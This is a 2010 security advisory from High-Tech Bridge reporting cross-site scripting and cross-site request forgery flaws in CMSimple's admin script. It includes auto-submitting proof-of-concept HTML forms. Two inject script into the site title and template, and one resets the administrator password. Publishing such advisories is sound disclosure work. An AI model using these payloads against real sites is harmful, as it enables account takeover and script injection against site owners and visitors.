Multiple Vulnerabilities in CMSimple

2010-08-02T00:00:00
ID HTB22558
Type htbridge
Reporter High-Tech Bridge
Modified 2010-08-13T00:00:00

Description

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in CMSimple which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in CMSimple
The vulnerability exists due to input sanitation error in the "site_title" and "text" parameters in /cmsimple/adm.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation examples:
<form action="http://host/" method="post" name="main" >
<input type="hidden" name="security_password" value="test" />
<input type="hidden" name="security_type" value="page" />
<input type="hidden" name="site_title" value='CMSimple site"><script>alert(document.cookie)</script>' />
<input type="hidden" name="site_template" value="default" />
<input type="hidden" name="language_default" value="ru" />
<input type="hidden" name="meta_keywords" value="CMSimple, Content Management System, php" />
<input type="hidden" name="meta_description" value="CMSimple is a content management system" />
<input type="hidden" name="backup_numberoffiles" value="5" />
<input type="hidden" name="images_maxsize" value="150000" />
<input type="hidden" name="downloads_maxsize" value="1000000" />
<input type="hidden" name="mailform_email=" value="" />
<input type="hidden" name="editor_height" value="(screen.availHeight)-400" />
<input type="hidden" name="editor_external" value="" />
<input type="hidden" name="menu_color" value="000000" />
<input type="hidden" name="menu_highlightcolor" value="808080" />
<input type="hidden" name="menu_levels" value="3" />
<input type="hidden" name="menu_levelcatch" value="10" />
<input type="hidden" name="menu_sdoc" value="" />
<input type="hidden" name="menu_legal" value="CMSimple Legal Notices" />
<input type="hidden" name="uri_seperator" value=":" />
<input type="hidden" name="uri_length" value="200" />
<input type="hidden" name="xhtml_endtags" value="" />
<input type="hidden" name="xhtml_amp" value="true" />
<input type="hidden" name="plugins_folder" value="" />
<input type="hidden" name="functions_file" value="functions.php" />
<input type="hidden" name="scripting_regexp" value="\#CMSimple (.*?)\#" />
<input type="hidden" name="form" value="array" />
<input type="hidden" name="file" value="config" />
<input type="hidden" name="action" value="save" />
</form>
<script>
document.main.submit();
</script>
<form action="http://host/" method="post" name="main" >
<input type="hidden" name="text" value='php and html code of template<script>alert(document.cookie)</script>' />
<input type="hidden" name="file" value="template" />
<input type="hidden" name="action" value="save" />
</form>
<script>
document.main.submit();
</script>

2) Cross-site request forgery (CSRF) in CMSimple
The vulnerability exists due to insufficient validation of the request origin in cmsimple/adm.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and add create arbitrary publications.
Exploitation example:
<form action="http://host/" method="post" name="main" >
<input type="hidden" name="security_password" value="newpassword" />
<input type="hidden" name="security_type" value="page" />
<input type="hidden" name="site_title" value='CMSimple site' />
<input type="hidden" name="site_template" value="default" />
<input type="hidden" name="language_default" value="ru" />
<input type="hidden" name="meta_keywords" value="CMSimple, Content Management System, php" />
<input type="hidden" name="meta_description" value="CMSimple is a content management system" />
<input type="hidden" name="backup_numberoffiles" value="5" />
<input type="hidden" name="images_maxsize" value="150000" />
<input type="hidden" name="downloads_maxsize" value="1000000" />
<input type="hidden" name="mailform_email=" value="" />
<input type="hidden" name="editor_height" value="(screen.availHeight)-400" />
<input type="hidden" name="editor_external" value="" />
<input type="hidden" name="menu_color" value="000000" />
<input type="hidden" name="menu_highlightcolor" value="808080" />
<input type="hidden" name="menu_levels" value="3" />
<input type="hidden" name="menu_levelcatch" value="10" />
<input type="hidden" name="menu_sdoc" value="" />
<input type="hidden" name="menu_legal" value="CMSimple Legal Notices" />
<input type="hidden" name="uri_seperator" value=":" />
<input type="hidden" name="uri_length" value="200" />
<input type="hidden" name="xhtml_endtags" value="" />
<input type="hidden" name="xhtml_amp" value="true" />
<input type="hidden" name="plugins_folder" value="" />
<input type="hidden" name="functions_file" value="functions.php" />
<input type="hidden" name="scripting_regexp" value="\#CMSimple (.*?)\#" />
<input type="hidden" name="form" value="array" />
<input type="hidden" name="file" value="config" />
<input type="hidden" name="action" value="save" />
</form>
<script>
document.main.submit();
</script>